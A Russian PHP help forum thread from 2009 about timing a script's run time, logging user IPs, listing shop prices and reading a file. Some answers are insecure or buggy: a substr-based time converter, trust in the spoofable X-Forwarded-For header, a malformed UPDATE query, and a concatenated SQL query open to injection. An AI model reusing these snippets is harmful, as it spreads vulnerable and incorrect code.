Вопшем проблема с росчётом времени от старта скрипта и до конца,вопшем нужно сделать чтобы отсчитывалось от начала роботы скрипта и до конца с часами,минутами и секундами,вот уже битый час с знакомым сидим,и никак не допрем...как ето сделать?
Просьба тем кто помогеть собрался учесть,что есле брать значение секунд,минут и часов роздельно (каждая в совей переменной) то неполучается изза того что после того как прошла одна минута,то значение секунд станет нолевым,и тогда будет отниматся значение времени того что в начале скрипта было от 0 уже....И есчё,есле брать в одной переменной ЧасМинСек и в конце так же,и отнимать,то тоже не получится потому что секунд и минут максимум 60 же,а не 100... тогда лишних 40 сек получается есле значение больше минуты,плиз,помогите....

vikseriq
29.01.2009, 22:28
Да придет time() и date() вам в помощь! Пошерудите поиск по мануалам. Так как год нам наф не нужен, лишних проблем не будет.

___
OFFTP:
Педставляю, как вы там уже час думаете - вся комнатушка в дыму, на столе гора окурков, а на монике - только <? ?> =)

Pashkela
29.01.2009, 22:51
2 Mixon:


<?
$start = microtime(true);
While($a<100000000){
$a++;
}
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".$b. " seconds";
?>

ikolla$$
29.01.2009, 22:53
Да придет time() и date() вам в помощь! Пошерудите поиск по мануалам. Так как год нам наф не нужен, лишних проблем не будет.

___
OFFTP:
Педставляю, как вы там уже час думаете - вся комнатушка в дыму, на столе гора окурков, а на монике - только <? ?> =)
Тыбы билять заткнул вонялку то,а.
ТЫ головой подумай,что тиме,что дате,ничего не помогает.Как ебе объяснить то...я сам очень долго догонял объяснения автора....в асику.

Mixon
29.01.2009, 23:19
2 Mixon:


<?
$start = microtime(true);
While($a<100000000){
$a++;
}
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".$b. " seconds";
?>


Оно то похоже,ну для кого я спецыально подчеркнул что мне нужны не только сикунды загрузки страницы,но и минуты и даже часы! например чтобы было в ответе "Прошел 1 час 15 минут и 30 секунд" ну как вы там не внимательно читаете??? ну как??? ппц,етого я понять никак не могу,ну подчеркнул же,а все по вытаскуют чтото похожее с мануалов,и даже не задумуются что пихаюит а что нужно....

blaga
29.01.2009, 23:32
Mixon, ты полегче на поворотах, тебе вообще то люди помочь пытаються. Он на тебя свое время потратил а ты ругаешься. Нехорошо.

Mixon
29.01.2009, 23:42
Mixon, ты полегче на поворотах, тебе вообще то люди помочь пытаються. Он на тебя свое время потратил а ты ругаешься. Нехорошо.

Я не ругаюсь,да и к тому же ето он 99% выташил из мануала просто...он даже непонял то что мне нужо и в чем проблема...из мануала любой может скопировать...

Gifts
29.01.2009, 23:49
Mixon function getDuration($s, $l=0){
if($s>86400){ // Day
$tot = $s / 86400;
$r = $s % 86400;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Day'.$p;
}else if($s>3600){ // Hour
$tot = $s / 3600;
$r = $s % 3600;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Hour'.$p;
}else if($s>60){ // Minute
$tot = $s / 60;
$r = $s % 60;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Minute'.$p;
}else{ // Second
if($s>1){$p='s';}else{$p='';}
$t = $s.' Second'.$p;
}
if($r > 0){$t .= getDuration($r,$l+1);}
if($l>0){
return ', '.$t;
}
return $t;
}

Mixon
30.01.2009, 00:14
Mixon function getDuration($s, $l=0){
if($s>86400){ // Day
$tot = $s / 86400;
$r = $s % 86400;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Day'.$p;
}else if($s>3600){ // Hour
$tot = $s / 3600;
$r = $s % 3600;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Hour'.$p;
}else if($s>60){ // Minute
$tot = $s / 60;
$r = $s % 60;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Minute'.$p;
}else{ // Second
if($s>1){$p='s';}else{$p='';}
$t = $s.' Second'.$p;
}
if($r > 0){$t .= getDuration($r,$l+1);}
if($l>0){
return ', '.$t;
}
return $t;
}

Ппц,чтот я начинаю тупеть,уже мин 5 сижу палю в монитор,непойму как ето юзать,ноч уже,мозг off,мож кто подскажет?((

Mirella
30.01.2009, 00:23
народ нужна помощь. хочу сделать вот что : чтоб при заходе на сайт каждый раз было в отчётах следующее (ник)(айпи)(время входа)

<?php $sql="update userx where user_id='$userid'";
mysql_query($sql);

if($result){
print "Вход в игру : $user с айпи $ip ";
if(empty($ip)){
if (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR');
}
else
{
$ip=getenv('REMOTE_ADDR');
}
}
history($user,$ip,$time);?>

помогите если не трудно (
заранее спасибо

Realix
30.01.2009, 00:32
народ нужна помощь. хочу сделать вот что : чтоб при заходе на сайт каждый раз было в отчётах следующее (ник)(айпи)(время входа)

<?php $sql="update userx where user_id='$userid'";
mysql_query($sql);

if($result){
print "Вход в игру : $user с айпи $ip ";
if(empty($ip)){
if (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR');
}
else
{
$ip=getenv('REMOTE_ADDR');
}
}
history($user,$ip,$time);?>

помогите если не трудно (
заранее спасибо
Куда лог писаться должен ?

Pashkela
30.01.2009, 00:46
2 Mixon

Тест (могут быть некоторые неточности с округлениями и если время больше суток - не стал заморачиваться, сам поймешь, что делать):


<?php
$c=18224; // Введите кол-во секунд
echo "$c\n";
if ($c<60) echo "0 hours 0 minutes " .round($c,0) . " seconds\n";
if ($c>=3600){
$c = $c/3600;
$h = explode('.',$c);
$minutes1 = substr($h[1],0,2);
$sec1 = substr($h[1],2,2);
if (substr($minutes1,0,1)>5) {$minutes=substr($minutes1,0,2)*6;$minutes = round($minutes,0);}
else {$minutes=substr($minutes1,0,2)*0.6;$minutes = round($minutes,0);}
if (substr($sec1,0,1)/10>5) {$sec=substr($sec1,0,2)*6;$sec = round($sec,0);}
else {$sec=substr($sec1,0,2)*0.6;$sec = round($sec,0);}
echo $h[0]." hours ". $minutes." minutes " .$sec . " seconds\n";
}

if ($c>=60 && $c<3600) {
$c = $c/60;
$a = explode('.',$c);
if (substr($a[1],0,1)>5) {$sec=substr($a[1],0,2)*6;$sec = round($sec,0);}
else {$sec=substr($a[1],0,2)*0.6;$sec = round($sec,0);}
echo "0 hours ". $a[0]." minutes " .$sec . " seconds\n";
}
?>


Ну и рабочий код для измерения времени работы скрипта в нужном тебе формате:


<?php
$start = microtime(true);
/* тут мы делаем что-то, чтобы прошло какое-то время */
While($a<100000000){
$a++;
}
/* Кончили делать что-то */
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$c = round(($end - $start),0);
if ($c<60) echo "0 hours 0 minutes " .round($c,0) . " seconds\n";
if ($c>=3600){
$c = $c/3600;
$h = explode('.',$c);
$minutes1 = substr($h[1],0,2);
$sec1 = substr($h[1],2,2);
if (substr($minutes1,0,1)>5) {$minutes=substr($minutes1,0,2)*6;$minutes = round($minutes,0);}
else {$minutes=substr($minutes1,0,2)*0.6;$minutes = round($minutes,0);}
if (substr($sec1,0,1)/10>5) {$sec=substr($sec1,0,2)*6;$sec = round($sec,0);}
else {$sec=substr($sec1,0,2)*0.6;$sec = round($sec,0);}
echo $h[0]." hours ". $minutes." minutes " .$sec . " seconds\n";
}

if ($c>=60 && $c<3600) {
$c = $c/60;
$a = explode('.',$c);
if (substr($a[1],0,1)>5) {$sec=substr($a[1],0,2)*6;$sec = round($sec,0);}
else {$sec=substr($a[1],0,2)*0.6;$sec = round($sec,0);}
echo "0 hours ". $a[0]." minutes " .$sec . " seconds\n";
}
?>


http://s47.radikal.ru/i116/0901/24/10b884e60afb.jpg

Задачка на самом деле оказалась не такой уж и простой:)

Mirella
30.01.2009, 00:57
Куда лог писаться должен ?
лог пишется в бд и его потом видно в файле отчёта

oRb
30.01.2009, 01:00
А вы прикольные, стока кода пишете)

<?
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$start = getmicrotime();
While($a<100000000){
$a++;
}
$end = getmicrotime();
echo "Time start: " . date('H:i:s',$start)."\n";
echo "Time end: ". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".gmdate('H:i:s',$b);
?>
Результат:
Time start: 23:56:40
Time end: 23:56:57
Execute time: 00:00:17

Mirella
30.01.2009, 19:06
<?
for ($i=1;$i<30;$i++)
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=".$i."
name=img>";
?>

народ подскажите как вывести и цену подарка.
в верхнем коде в онлайн игре выводит подарки в магазине подарков от 1 до 30.
как сделать чтоб и цену выводило тоже.но цены 30-60-90-120.

Shadow_p1raT
30.01.2009, 19:15
Можно так

<?php
$j = 0;
for ($i=1;$i<30;$i++) {
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=".$i."
name=img><br>";
$j +=30;
echo 'Цена'.$j.'<br>';
}
?>

Mirella
30.01.2009, 19:19
Можно так

<?php
$j = 0;
for ($i=1;$i<30;$i++) {
echo "<IMG src='../images/presents/".$i.".png' border=0><INPUT type=radio value=". $i."
name=img><br>";
$j +=30;
echo 'Цена'.$j.'<br>';
}
?>

а не будет путаницы с ценами на подарки?
допустим у меня у каждого подарка своя цена
как определить что именно он будет куплен и за это сумму которая будет прописана в бд?

Shadow_p1raT
30.01.2009, 19:52
Mirella тогда используй это

$sql = mysql_query("SELECT cena FROM `tovar` WHERE product_id = '.$id.'");
$res = mysql_fetch_array($sql);
echo 'Цена'.$res['cena'];

Если товар будет запрашиваться отдельно то не забываем про SQL-INJ
А вообще бред ввыводить в for

diznt
30.01.2009, 21:16
Помниться тут задавали вопрос
Есть рисунок к примеру такой

|----------|

Надо его растенуть в низ
как это сделать? просто в тупо вставлять скоко мне надо рисунков-тупо

Byrger
30.01.2009, 22:19
А как написать скрипт на КРОНЕ для чистке MySQL (даже не представляю что такое КРОН)

mff
30.01.2009, 23:21
diznt? тебе размножить нужно фоновый рисунок или растянуть один вниз?

Gin
31.01.2009, 00:25
Сообщество помгите не могу разобраться в чем ошибка:

<?

$f=fopen('key.txt','r') or die ("Ощибка открытия файла");
while(!feof($f)){
$key[]=fgets($f);
}

$words=explode(" ",$key);
foreach($words as $value=>$val){
echo $val;
}
?>

oRb
31.01.2009, 00:27
вместо $key[]=fgets($f);
$key .= fgets($f);